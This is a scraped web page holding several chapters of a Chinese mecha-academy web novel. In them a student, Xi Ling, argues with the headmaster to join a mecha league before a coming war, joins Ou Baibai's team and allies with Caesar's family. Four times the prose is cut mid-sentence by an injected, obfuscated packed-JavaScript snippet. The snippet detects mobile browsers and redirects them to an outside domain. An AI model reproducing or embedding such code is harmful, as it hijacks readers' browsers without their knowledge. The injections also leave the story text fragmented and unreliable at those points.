“如果他们能成为我的朋友,我们会有更多共同话题,未来也能多一份彼此扶持的可能。” “如果他们会成为我的敌人,那么现在多一段共处的经历,也意味着,我能更早了解未来对手的脾性与能力。” 听到这里,杜尚别终于笑了,笑意却未达眼底。 “你的认知很清晰,但还不足以说服我。”他话锋一转,语气多了几分严肃,“郗灵,你在用一份虚无缥缈的未来否决我的建议。联赛固然能结交朋友,但你的命运始终握在自己手中。了解外界和建构自我之间,后者的优先级远高于前者,你又凭什么把自己最珍贵的青春,绑在一场学生赛事上?” 郗灵没有退缩,反而追问:“那么那些世家子弟呢?他们的父母为什么要把孩子送进五大军校?难道仅仅是为了给履历镀金吗?” “你和他们不同,郗灵。”杜尚别几乎没有停顿,立刻回应,“他们是温室里的花朵,贸然移植到风吹雨打的室外,十有八九会立刻枯萎。但你是从战场上爬出来的幸存者,你没必要留下来,和他们做这种过家家似的较量。” “可我只求参加这次联赛。”郗灵的语气多了几分恳切,“还有不到一个月,联赛就要开始了,整个赛事也不会超过一年。只是一年的时间,您也不能给我吗?” “是的。”杜尚别的回答干脆利落。 “为什么?”郗灵继续追问。 她的目光紧紧锁住杜尚别,终于将话题引向了自己真正想探寻的核心:“难道是因为……战争马上又要开始了吗?” 这句话像一道惊雷,让一旁的萧寒剑猛地睁大了双眼,脸上满是难以置信。 而杜尚别,第一次在郗灵面前哑口无言。 他看着眼前这个敏锐得近乎可怕的少女,眼底掠过一丝不易察觉的欣慰。 郗灵没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465853|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有催促,只是耐心等待。 良久,杜尚别缓缓呼出一口气,迎着她的目光,声音低沉道:“郗灵,这件事,我无法回答。” 战争无儿戏,更不允许捕风捉影、空穴来风,对一件严肃的国事缄口不言,即是无言的承认。 郗灵瞳孔微颤。 她无法想象,上一场战争才结束不到三个月,下一场战争的号角竟然又要吹响了。 她没有追问,更没有资格追问。 她竭力控制住颤抖的双手,缓缓从半蹲的姿态站直身体,原本与轮椅上的杜尚别平视的视线,竟渐渐变成了一种略带压迫感的俯视。 “我明白了,校长。”郗灵一字一顿,“但我,还是要参加机甲联赛。” 杜尚别微微仰起头,眼神平静:“为什么?” “联邦开战的对象,必然是机械帝皇,我不会放弃去前线的机会,只因他是我此生最痛恨的仇人。”郗灵一眨不眨地盯着杜尚别,眼神竟然称得上狠厉,“但是,元帅,联邦固然在上一战中令机械帝皇元气大伤,却也只是惨胜,如今又要发动战争,胜负始终难言。” 郗灵对杜尚别的称呼,从“校长”改成了“元帅”。 杜尚别眉毛抬了抬:“所以呢?” “上一战中,上将因中央星的军令投鼠忌器,让战争足足拖延了三年。”郗灵直视杜尚别的眼睛,“如今,战争又要开始,即使不是凤凰上将出征,联邦在指挥决策上……是否又会重蹈覆辙?” 此话一出,宛如惊雷落地。 萧寒剑惊得猛地站起,脸上第一次浮现出严厉的神色:“郗灵!” “让她说下去!”杜尚别厉声呵斥,视线自始至终锁在郗灵身上,“郗灵,联邦里不是只有你一个人这么想。但你说的这些,和你要参加机甲联赛,到底有什么关系?” “确实没太大关系。”郗灵语气平静,“但战争打响前,我必须留在联邦,仅此而已。” “……你什么意思?” “我要机械帝皇死!”郗灵的声音陡然变得掷地有声,“我绝不允许联邦射向机械帝皇的子弹,出现半分迟疑!我要斩断这份迟疑,我要除掉那些让前线士兵迟疑的人!” 她眼神锐利如刃,一字一顿道:“那些想杀我的人,难道还会是好人吗?我要看着他们撕开伪善的面具,把枪口、把刀叉明晃晃指向我——我会把他们一个个钓出来,再一口口咬死!开战之前,他们多死一个,机械帝皇战败的可能,就多一分!” 萧寒剑声音里带着难以掩饰的涩然,颤悠悠道:“……郗灵啊。” “我接受这个理由。”杜尚别轻笑一声,话锋却骤然收紧,“但机甲联赛从来是团队协作,不是个人逞能的地方。你执意把自己扔进险地,有没有想过——你的队友,是否愿意承担这份本不该有的风险?” 郗灵抿紧唇,彻底陷入了沉默。 屋内的气氛骤然凝固。 但就在这时,“叩叩叩”的敲门声突然响起。 “校长,我是欧白白,郗灵的队长。”门外传来一道清脆爽快的女声,“抱歉,我打晕了守在门外的人,毕竟……我的王牌,好像就要被您抢走了。” 64. 野心家 得到许可后,欧白白推门而入。 这位学姐穿着统一发放的制式军装,天使般纯洁的脸上满是恭敬,但被她打晕的人还躺在门外,如果郗灵不认识欧白白,只会觉得她的恭敬是一种伪装。 但认识她,不意味着了解她。 欧白白在郗灵面前鲜活、热烈、直接,但郗灵总觉得,这样的她不是真正的她。 她的体内仿佛拥有天使和恶魔的双重灵魂,一个月前,当雪理躺在医疗舱中时,她以洞悉一切的口吻,如一个占卜师般说出了郗灵和雪理的命运。 欧白白没有废话,进门后,直截了当地说:“校长,您不可以抢走我的王牌。” 郗灵站在这里,萧寒剑也坐在这里,但欧白白看也没看一眼。 她只盯着杜尚别。 杜尚别平静地打量了欧白白一阵,见后者的脸色没有一丝闪烁,决定给她对话的机会:“为什么?” “我想要她,仅此而已。”欧白白直白地说,“校长,我为本次联赛组建新的队伍,一共只发出了四道邀请,邀请的人也都变成了我的队友。这四个人是我精挑细选的,一个也不能少。甚至,如果我等不到他们四个,我都不会参加这次联赛。” 不等杜尚别说话,欧白白掏出训练计划表,长长的表格在地上铺开,上面画满了各种颜色的标记。 “校长,这一次联赛,我发誓要带着我的队伍拿下冠军的奖杯。”欧白白蹲在计划表边,指尖抚过每一项训练安排,“上一次联赛中,莱茵虽然成为了五骄之一,但冠军奖杯却被圣罗兰军校拿走了。这三年,凯撒做梦都会笑醒,他从没想过他会在这件事上胜过莱茵,他甚至找到我说,他要在今年第二次战胜莱茵,但我严厉地反驳了他,因为今年的队长不是莱茵,而是我。” 杜尚别坐在轮椅上,垂眸盯着那张计划表。 良久,他抬起褶皱的老眼,从眼睑缝隙中观察欧白白的脸。 “五大军校的选手不可连续参加两次联赛,这是不成文的传统。”杜尚别问道,眼神一瞬间锐利起来,“但我不觉得你是个守规矩的人,甚至,你的目标也不仅仅是冠军奖杯。” 欧白白面带微笑:“冠军奖杯是所有军校生梦寐以求的荣誉,莱茵的队伍在上一届比赛成为了亚军,我要超过他,我要成为冠军,这个理由已经足够贪婪了,不是吗?” 杜尚别意味深长地看着欧白白,又对郗灵道:“你有一个好队长。” 他挥挥手,示意欧白白带着郗灵离开。 杜尚别和萧寒剑明显还有话要谈,但他不再阻止郗灵留下来的意愿了。 郗灵跟着欧白白走出办公室,双眼发亮地望着她的背影。 之前,郗灵为了说服杜尚别费了不少口舌,却没什么成效。可欧白白只用了不到五分钟,就把她重新争取了回来。 郗灵心里既有些羡慕,又带着几分疑惑:欧白白说的话似乎并无特别之处,为什么偏偏对杜尚别如此管用呢? “你想不明白,为什么校长能听进去我的话,对吗?”欧白白走在前面,却仿佛后脑勺长了双眼睛,看见了郗灵脸上的不解之色。 郗灵点头:“是,我不明白。” “很简单的,学妹,因为他不在乎我。”欧白白轻快地答。 郗灵脚步一顿。 “校长在乎的人只有三个,国父维尔莱德,凤凰上将萧寒剑,以及你,郗灵。”欧白白原本四平八稳地走着,但她脚下的石子路突然洒下了细碎的阳光。 她也因此踮脚跳了起来,像小孩玩跳房子:“他不在乎我,所以我做什么他都无所谓。就像一只鸟儿无论在尖叫还是哭泣,人们只会说小鸟在唱歌。除非我的行为会影响到你,不然,我只是一只永远在唱歌的小鸟。” 郗灵看着欧白白的背影:“学姐……” “学妹,你要学会透过现象看本质。”欧白白察觉出郗灵的欲言又止,“男性耻于表达感情,这是社会对男性改造的结果,他在联邦成立前是个正统的帝国人,他认为男性感情外放是软弱的表现,于是他只能硬邦邦地干涉你、掌控你,就像一头狮子把喜欢的肉叼进嘴里。” 郗灵回忆杜尚别的表现,发现他那张长满褶皱的老脸上,的确鲜少出现柔软的表情。 “但他已经老啦,学妹。”欧白白还在跳房子,甚至在原地旋转起来,“我畏惧他的权势,这是我趋利避害的本能,我也尊敬他的智慧,这是我尊老爱幼的美德。但我不会止步于此,守规矩、懂礼貌的人更适合去打工,比起遵守规则,我更喜欢创造规则。” 郗灵又一次停下了脚步。 在此之前,她从未真正看懂欧白白。 欧白白有一张纯净如天使的脸庞,任谁都难以对其产生半分恶念。但此刻,这位始终像雾一样让人看不透的学姐,终于摘掉了朦胧的面纱,把藏在底下、写满野心的模样暴露在她眼前。 不,不是暴露。 是展露。 石子小径树影婆娑,阳光如碎金般撒落。欧白白在上面跳跃着走路,在察觉郗灵停下后,她转过身,用一双长满茧子的手捧住郗灵的脸颊。 她一眨不眨地看着郗灵,眼神比面对杜尚别时柔和了无数倍,却比那时更加真切,也更加野心勃勃:“学妹,你愿意听一听我的理想吗?” 郗灵在学校里吃得饱穿得暖,原本因战争饿瘦下去的脸颊也有了肉。她被欧白白捧着脸,眼睛和嘴唇都被腮颊肉挤得嘟了起来。 她口齿含糊道:“我愿意。” 欧白白看着郗灵的眼睛,眼神像一头吃不饱的兽: “郗灵,帝国灭亡之后,女性已经得到了很多很多从前没有的机会,我们可以接受教育,可以和男性一起同台竞争,政治、军事、科技等领域也有许多优秀女性的身影。” “但联邦还是太年轻了,47年的自由,无法洗去帝国三千年的阴影。” “我的名字是欧白白,因为我出生那天下了一地的白雪。我姐姐的名字叫欧丽丽,因为她长得漂亮极了,是医院同一天出生的婴儿里,最漂亮的一个。我弟弟的名字叫欧景业,因为我的祖父说,他应该有一份前景光明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471723|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事业。” “我喜欢我的名字,因为我爱我的一切,无论我得到的一切投射着他人怎样的期许。这世上没有谁会比我更爱我。” “但这些还不够,远远不够。” “我要一步一步往上走,去斗去争去抢,无论钱、权、势,我都想要!不管过程有多狼狈,只要最后我能拍拍衣服上的灰站起来,我就是好样的。” 郗灵笑了:“你再次参赛,真的是为了冠军奖杯吗?” “当然啦!”欧白白也笑起来,“上一届联赛,莱茵和冠军失之交臂。他明明有那么优秀的队友,最后还是输了。我真的不甘心,也气坏了——他拥有的资源太多,反而没把每一分都利用到极致。要是我是他,肯定能比他做得更好。” 郗灵抓住欧白白的手:“我会给你惹很多麻烦的。有人想杀我,还不止一个。他们都是了不起的大人物,而且都藏在暗处,我根本抓不到他们。” “那我们就一起把他们找出来。”欧白白说。 她终于不再捧着郗灵的脸,反手握住郗灵的手。两人牵着手走在石子小径上,这条被林荫覆盖的路,眼看就要走到尽头。 “渡鸦和雪理知道这件事吗?”郗灵看着眼前的阳光,问道。 此刻的她,早已成了权贵们的目标,隐形的枪口正对准她的脑袋。她必须在战争爆发前,把这些蛀虫一个个钓出来,彻底解决掉。 莱茵身处风暴中心,不可能听不到风声。 但渡鸦和雪理对这件事一无所知,她绝不会为了自己的复仇计划,把两个无辜的人拖进来。 欧白白轻轻笑了笑:“学妹,你要相信我挑选队友的眼光。” 训练场里,渡鸦、雪理和莱茵三人正驾驶机甲做热身。 更意外的是,凯撒居然也在。 看到欧白白带着郗灵回来,雪理第一个跳出驾驶舱,朝郗灵扑了过去:“你终于回来了!” 郗灵连忙抱住雪理,雪理扑过来的力道太大,让她险些趔趄着摔倒。 她正疑惑雪理的反应为何这么激烈,余光突然瞥见凯撒走了过来。 “皇帝”已经换上了新的拘束装甲,洁白的眼灯正安静地凝视着她。 凯撒走到郗灵面前,郑重地伸出一只手,说道:“我的朋友,从今天起,奥古斯都家族会是你最坚定的盟友。” 地底那场决斗后,上一代家主已经去世,如今凯撒成了奥古斯都家族的新主人。他此刻的话,不再是公子哥的随口许诺,而是真正掷地有声的承诺。 郗灵抱着雪理,目光落在凯撒身上。 ——他多半已经知道些什么了。 ——那些想把她当成猎物分食的人里,有多少是奥古斯都家族的敌人? ——还有那场即将到来的战争,奥古斯都家族会站在哪个阵营,扮演怎样的角色? 她凝视着凯撒,过了好一会儿,才松开抱着雪理的手,握住了凯撒伸来的那只手。 “合作愉快,我的朋友。”她笑着说,“相信我,你不会后悔今天做出的选择。” 65. 心动者的赌局 “虽然有你的帮助,我才能战胜我的父亲,但这在我心中始终不是一场公正的对决。”凯撒礼貌地握了握郗灵的手,又适时松开,“这么说可能有点站着说话不腰疼,可如果时间倒流,我会从源头上掐灭皇帝的想法,让你不卷入这场无妄之灾中。” 雪理个头不算高,但还是比郗灵高了半个头。 她扑过来时用一种很别扭的姿势把头埋进郗灵怀里,听到凯撒这句话,她“刷”地一下抬起了头,挺直腰杆侧身盯着凯撒。 “塞壬”咔哒咔哒走到“皇帝”身边,右手立刻变化成一只破甲钻,澄白的眼灯盯着皇帝,好像雪理一声令下,就会把皇帝砍成臊子。 郗灵身体一震:“哎呀,你这是干嘛呀?” “总统府被袭击是一条大新闻,在你失踪的这段时间,几大媒体的头条一直在滚动播放遇袭影像。”莱茵走过来,和欧白白交换了一个眼神,对郗灵道,“凯撒从抢救室出来后,第一时间找到了我,他说他欠你一句道歉,那段遇袭影像里出现了龙姬的身影,虽然在烟尘中十分模糊,但有心人总能看出端倪。” 塞壬开始磨刀霍霍。 郗灵给雪理比了个“暂停”的手势,又对凯撒道:“所以呢?你刚才说的奥古斯都家族的支持,不会是基于你对我的愧疚吧?” “不,”凯撒摇头,“这是一场投资,郗灵。” 凯撒的表情明摆着还有后话,郗灵没打断他,安静地等待下文。 “郗灵,奥古斯都家族的传统,在如今的联邦早已不适用了。”凯撒诚恳地说,“每一代家主更替,都伴随着弑亲的痛苦与背德的煎熬。况且我太年轻,即便靠血腥手段坐上家主之位,也无法让族里的元老们彻底闭嘴。帝国时代,奥古斯都家族是皇后的母族,尚可借皇帝的威慑压下所有质疑;可现在是新时代了,若不改革,这个家族迟早会毁在我手里。” “塞壬”已经挥舞起破甲钻,“皇帝”理亏地狼狈闪躲,“夜哨”和另一台不起眼的白色机甲在一旁拉架。 如果忽略四台机甲巨大的体型,简直就像幼儿园的小孩子在打架。 “父亲对我的评价十分中肯,我没有他那样冷硬的心肠和毒辣的眼光,我只是被自己的胜负欲推着往前走,至于走向哪里,终点又有着什么,一概不由我谱写。”背景音里破甲钻叮叮当当,凯撒佯装听不到,金色的眉毛却心疼地皱了起来,“我一生中,只有两次真心与人合作,第一次是组建我的队伍,并在上一届联赛中夺得冠军。第二次则是现在……我不擅长请求合作,我只能告诉你,我看中了你的实力,并且认为奥古斯都家族是值得你结盟的伙伴。” “嗡!”皇帝悲切地嗡鸣了一声。 拘束装甲隔绝了“皇帝”发出的谐波,但郗灵明明白白地听到了—— “我遇刺了!”皇帝说,“凯撒,救我!救我啊!” “噗!”郗灵毫不客气地笑出了声。 好拙劣的苦肉计。 知道她听得懂机甲说话,所以两头夹击,如果凯撒无法晓之以理,就让皇帝来动之以情吗? 她看着凯撒,再次伸出手:“凯撒,合作愉快。” 凯撒闭上嘴,把打好的腹稿憋了回去,一双眼睛定定地看着郗灵伸来的手,而后露出一个闪亮的笑,郑重地回握住郗灵的手。 “合作愉快。”凯撒说。 握了几秒后,凯撒松开手,但不等郗灵收回手,他又反手握住了:“等等,我还想请你帮我一个忙!” 一分钟后,郗灵看着打开胸甲的“皇帝”,眉头皱了起来。 她扭头看向凯撒:“这是……上一代皇帝的胚胎?” “是。”凯撒也紧皱眉头,对皇帝的担忧溢于言表,“虽然目前为止,皇帝没有出现什么问题,但我怕……” 凯撒没有继续往下说。 郗灵转过头,继续观察那枚镶嵌在驾驶舱表面的“胚胎”。 自奥古斯都上代家主死去后,上一代的恩怨已经消散。但上一代“皇帝”的胚胎竟然没有在主脑的攻击下彻底死去,反而以寄生的方式,存活在这一代“皇帝”体内。 雪理也凑了过来:“墨菲研究过这类现象,要请他过来吗?” 墨菲…… 郗灵想起墨菲就有些头疼。 萧寒剑怀疑,她被那群人盯上是因为伊甸泄露了体检数据,但事后她回过味了,这件事的始作俑者不可能是伊甸。 战争迫在眉睫,推进“胚胎”项目的研发,是军部和研究院共同的心愿。如果她死了,身为研究院话事人的伊甸,不仅捞不到半分好处,还会让“胚胎”项目直接坠机。 可墨菲这个亦正亦邪的人物,她摸不准。 墨菲为了科学和真理可以付出一切,连生命也在所不惜。 如果他知道自己是“龙”,如果他从那些人口中得到的允诺是,可以尽情对自己做人体实验…… 郗灵甩了甩脑袋,她一定会和墨菲谈谈,但不是现在:“暂时不了。” 凯撒也不强人所难。 他收起“皇帝”,和在场五人告别:“那么,一个月后,晋级赛上见。” 欧白白环起手臂,故作惆怅地叹了口气:“别提了,凯撒,我们连种子队的名额还没拿到呢。” “无论是成为保送的种子队,还是通过海选进入晋级赛,我都相信你们会成为我的对手。”凯撒大笑一声,目光扫过在场五人的脸,最终落在了莱茵身上。 莱茵依然维持着得体的微笑,每一丝表情都无可挑剔。 凯撒看着莱茵的时间太长了,长到其他人也不约而同地看向了莱茵。 “莱茵·汉布格尔。”凯撒叫出了莱茵的全名,“如果我问你一个问题,你会如实回答吗?” 莱茵微笑:“请讲。” “现在的你,和三年前的你,到底有什么不同?” 此话一出,渡鸦的眉头跳了跳。 凯撒的眼神步步紧逼,仿佛收缩包围圈的狮子。 莱茵在这样咄咄逼人的目光下没有流露出一丝异样,呈现出的气质和他蜷曲的白发一样温和、柔软。 他回答:“三年前的我,是莱茵。现在的我,也是莱茵。” 凯撒意义不明地笑了一下。 他似乎抓住了某个端倪,却并无确凿的证据。 在郗灵的注视下,他抛了抛手中金光闪闪的机甲钮,像电影里耍帅装酷的独狼主角一样转身离开,并留下了一句意味深长的话。 “我会一直盯着你,太子。”凯撒说,“祝你永远、永远、永远不会撕下你的伪装。” “皇帝”的机甲钮发出一声嗡鸣,谐波落入郗灵耳中:“凯撒啊,算我求你了,你能少吸引一点仇恨吗?” 郗灵没去翻译皇帝的话。 她揉了揉脸,把浑身的疲惫一扫而空,又抬起手腕,看了看光脑上的时间:“我们今天的训练时间,只剩下不到2个小时了。” “塞壬”并未收起破甲钻,而是挥舞着钻头,和“夜哨”打了起来。 欧白白急了:“渡鸦,管管你的机甲啊!” “要是我能管住它,我至于被它蹬鼻子上脸那么多次吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478554|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”渡鸦摊了摊手,“况且,夜哨本质上不是我的机甲,它从我祖父手里传给我父亲,又从我父亲手里传给我,论辈分来说,它叫我一声‘孙子’都不为过。” 欧白白气得跺脚:“雪理,你也管管你的机甲啊!” 雪理缩在郗灵身后,说话却理直气壮:“学姐,论辈分,我可以叫塞壬一声‘妈妈’。” 欧白白:“……” 欧白白气得没话说了。 郗灵关闭光脑上的聊天界面,垂下手腕,看着雪理和渡鸦手舞足蹈地阻拦自己的机甲,没忍住笑了出来。 但笑了几声后,她突然笑不出来了。 ——她听不懂机甲“夜哨”的谐波! 这样的机甲不止“夜哨”一台,“塞壬”就是活生生的例子。 但机甲“塞壬”是因非法改造,致使雪理母亲的灵魂融入其中,这才让它的谐波无法解读。 那么,夜哨呢? …… 凯兰穿着半旧的制式军装,坐在校园的长椅上。 阳光透过斑驳的树影落在他的脸上,他闭目养神,膝头卧着一只肥猫。 路过的军校生们好奇地看他,但无一人上前搭话。 他的气质太古怪了,那不是学生或老师应有的气质,仿佛一只掉落在黑泥里的白手套,既不洁白,也不漆黑。 滴滴! 凯兰的光脑响了两下。 他睁开没有一丝睡意的眼睛,抬起手腕,看着光脑屏幕上弹出的消息。 【郗灵】:查一查“总统府遇袭”那条新闻背后的操盘手。 【郗灵】:还有拉文·诺因尼,他的机甲“夜哨”有些古怪,查查他的祖父和维尔莱德是什么关系。 【郗灵】:再找一找墨菲,他被元帅驱逐出校园了吗? “郗灵还真是冷酷无情啊。”凯兰膝上的肥猫动了动饱满的嘴努子,竟然吐出沙哑的人言,“她甚至没有想过安抚你,三道命令直接发布下来,不怕你攥着她的秘密直接跳反吗?” “我不是你,博士。” “我从你身上嗅到了多巴胺的气味,你很心动?” “也许吧。”凯兰放下手腕,脑袋后仰。 他分明置身秋日温暖的阳光中,却总是不受控制地想起那个夜雨凄迷的晚上。 一发子弹,两条性命。 真是好手段啊。 “你真的要为她卖命吗?”猫咪墨菲睁开一只翠绿的眼睛,“凯兰,你是叛国者芬迪尔的后人,背负着‘兰奇’这个罪孽的姓氏,你唯一的活路就是离开这个是非之地,隐姓埋名前往边陲扇区。如果你留在中央星,你一定会死。” “我早已死在那场夜雨里。”凯兰轻声道,“但你又比我好到哪里去呢,博士?为了留在这里,你不惜和元帅签下了生死状——只要郗灵遇害,你也会自尽。你当真是为了‘胚胎’项目继续推进?当真是为了你心中的科学和真理?” 墨菲沉默。 良久,他轻笑一声:“想从我的口中套到真话?亲爱的凯兰,你不如祈祷我会为了一根猫条,对路过的学生喵喵叫。” 话毕,墨菲跳下凯兰膝头,竖起尾巴,对远处举着猫条的学生走了过去。 “喵~”墨菲甜美地叫道。 学生喂完猫条,看着那只肥猫舔了舔嘴巴,毫不留恋地转身窜入灌木丛。 学生正要找长椅上的人搭话,却惊讶地发现,那人不知何时已经离开。 一片枯萎的秋叶落在椅面上,斑驳的树影和金色的阳光在秋叶上晃动,仿佛一颗扑朔迷离的心。 66. 诺因尼的秘密 训练时,郗灵的注意力一直在四台机甲上。 欧白白的“飞鸟”性格沉静,任何指令都能一丝不苟的执行,除了偶尔发出一两句吐槽,几乎没有可以挑剔的地方。 但雪理的“塞壬”和渡鸦的“夜哨”……宛如迷雾一般。 塞壬的眼中只有雪理,它和雪理的同步率至今都无法检测。它发出的谐波也不似其他机甲那般,具有极强的精神污染,当它承受的痛苦抵达临界值时,它会引导雪理哼唱那首无词的歌曲,以此缓解自己的痛苦。 夜哨…… 郗灵说不清夜哨身上的变化,但它给郗灵的感觉完全变了。 一个月前,夜哨还是一台热衷于背刺主人的机甲,它恶劣又顽皮,还带着几分活泼,像个捣蛋的恶魔。 可如今,它散发出的谐波,郗灵已经完全无法解读。 更让郗灵在意的是,渡鸦驾驶它时,流畅度明显下降了许多。 这种流畅度的降低,并非源于机甲师与机甲间同步率的下滑,而是像齿轮生了锈般,是机组在客观条件下出现老化所导致的卡顿。 在所有机甲里,最不起眼的要数莱茵的那台——它叫“13号”。 三年前,主脑失控时,莱茵原来的机甲受了不可逆的损伤,最后被回收销毁。 这台“13号”,就是莱茵定制的新机甲。 13号的涂装是白色的,可这份白和龙姬的机甲完全不同—— 龙姬的机甲是高级定制的白,透着精致感。13号的白则是机甲出厂时的原装色,没什么特别的设计感,更显朴素。 13号的动作精准得如同教科书,气息却藏得极深。 明明有着最扎眼的白色涂装,它却像融在环境里的影子,移动时,连一丝多余的声响都没有。 莱茵谦卑地解释:“这是身为指挥的基本功。” 渡鸦插了一嘴:“说得好听,就是一个字,苟。” 欧白白在一旁补充解释:“莱茵并不擅长打斗,在上一届‘五骄’里,他的战斗力是最弱的。上一届联赛中,他的个人得分有80%都来自指挥小分,击杀数却排在倒数第一。” 莱茵:“欧白白,请不要把我说得那么不堪。和我同台竞技的人,都是十大扇区中脱颖而出的天才,我能击杀他们,说明我的能力在他们之上。” 欧白白:“所以呢?你的总击杀数是多少?” 莱茵:“……” 莱茵:“三个。” 郗灵沉默片刻。 这个数字确实拿不出手。 训练过程中,夜哨屡屡脱节,时常跟不上动作。 欧白白皱起眉头:“拉文,怎么回事?” 渡鸦没有回话。 渡鸦沉默地驾驶机甲,但“夜哨”的情况越来越糟糕,到最后,甚至主动弹开了驾驶舱舱门,把里面的渡鸦吐了出来。 13号接住渡鸦,渡鸦在那只铁掌上滚身而起,又急切地转过头,观察夜哨的情况。 夜哨有着漆黑崭新的涂装,显然经过渡鸦精心保养,但此刻,它大敞着驾驶舱舱门站在原地,呼吸栅口吐出一团团微弱的白色蒸汽,仿佛垂暮之人艰难的吐息。 渡鸦走到夜哨身边,轻轻地抚摸了一下冰冷的机身。 “嗡……”夜哨发出一声嗡鸣。 郗灵浑身一震。 她好像明白,自己为什么突然听不懂夜哨的谐波了。 生物机甲的核心,是里面的生命素体,那种生命在帝国时代被称作“龙”,而在郗灵的认知里,无论是“龙”还是“机甲”,它们都以一种强大而超凡的姿态出现,仿佛永远不会老去。 但眼前的夜哨,已经开始衰老了。 生命到了年长时,都会发出呓语。 这种呓语源于它们日益喑哑的喉咙、散发出浑浊气味的身体和逐渐腐朽的灵魂,它们的精力已不支持开启一场新的探索,它们被囚禁在了一个陈旧的、过时的世界里,它们能说出的语言,也渐渐地只在自己的认知里打转。 如同枯叶在西风中一片片脱落,最终只剩下光秃秃的枝丫。 欧白白露出为难的表情:“……拉文,它老了。” 渡鸦垂着眉眼:“我知道。” “你打算怎么办?” “一个月后,我会给它换一个新胚胎。”渡鸦说,“但现在,我打算继续驾驶它。” 郗灵沉默。 拘束装甲只是一层外皮,里面的胚胎才是真正的核心。 更换胚胎……这和更换新机甲没有区别。 莱茵离开驾驶舱,来到夜哨身边,伸出手抚摸了一下:“……三年前,它还没有老化得这么严重。” “如果不是主脑失控,它本可以陪伴我一生。”渡鸦低声说,“莱茵,你一定知道,诺因尼家族的机甲……对我到底意味着什么。” 莱茵看着渡鸦:“我知道。” 这场训练在略显沉重的气氛中结束了。 欧白白掏出光脑,并让莱茵留下,他们要一起商量接下来对战的战术。 雪理抓起放在地上的书包,匆匆留下一句告别后,就马不停蹄地赶去上课。 郗灵刚走出训练场,手腕上的光脑“滴滴”震动了两下。 【凯兰】:诺因尼家族的秘密,我已经查到了。 【凯兰】:要见面聊吗? 郗灵看了眼讨论战术的两人,对凯兰回复了个“好”,又脚步极轻地离开了。 莱茵看着郗灵离开的背影:“你不留下她吗?” 欧白白正在十指翻飞地打字:“为什么?” “她有很多秘密,而且她并不讨厌你,你最擅长的,就是让一只蚌心甘情愿地吐出珍珠。” “所以呢?你想通过我从郗灵身上得到什么?你也希望我成为一只向你吐出珍珠的蚌吗?” “……” “莱茵,我在很多时候都看不透你。”欧白白右手一划,将一行写错的字从光脑中删去,“你的行为逻辑我无法理解,你像一个完美的假人,若非我亲眼见过你受伤流血的模样,我会以为,你是一台由0和1组成的硅基计算机。” 莱茵垂眸不语。 欧白白抬眸瞥他一眼,手指在投屏上点了点:“这里,我觉得可以再改一改。” 莱茵的沉默只维持了一瞬,仿佛脱离既定程序的机器重新回到应有的轨道,他接着说道:“针对他,我们可以……” * 郗灵猛猛喝了一口奶茶,问道:“诺因尼家族的秘密到底是什么?” 凯兰的目光落在头顶掉了一半的招牌上,那上面的字迹早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483106|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已模糊不清。 这家奶茶店又破又旧,鲜有人来,即便墨菲手下有无数只仿生猫负责巡逻领地,也很少会经过这里。 显然,有人特意盘下了这个地方——不为赚多少营业额,只为见面时能有个不起眼的角落,方便两人毫无顾忌地交谈。 ……这确实是个交流情报的好地方。 凯兰在心里暗忖。 郗灵踢了踢凯兰的脚:“发什么呆?我在问你话呢。” 凯兰回过神,却没立刻回答,从怀里掏出一个密封的透明证物袋。 ——袋中装着一本染着陈血的日记。 “诺因尼家的老爷子已经过世三年,这本日记原本是跟着他一起进了棺材的。”凯兰用最平静的语气,说着最惊世骇俗的事。 郗灵深吸一口气,问道:“这是你第一次掘别人的墓吗?” 她更想问的是——你的语气为什么这么熟练? “不是。”凯兰竟然真的接了话,“林德不是我的第一个主人,当初跟着第一位主人时,她教过我,要在获得墓主许可后,才能取墓里的东西。” 郗灵:“……” 郗灵:“你是怎么让墓主同意的?” 凯兰:“心诚则灵。” 郗灵:“…………” 郗灵压下心头的荒谬感,又问:“你的第一个主人是谁?” 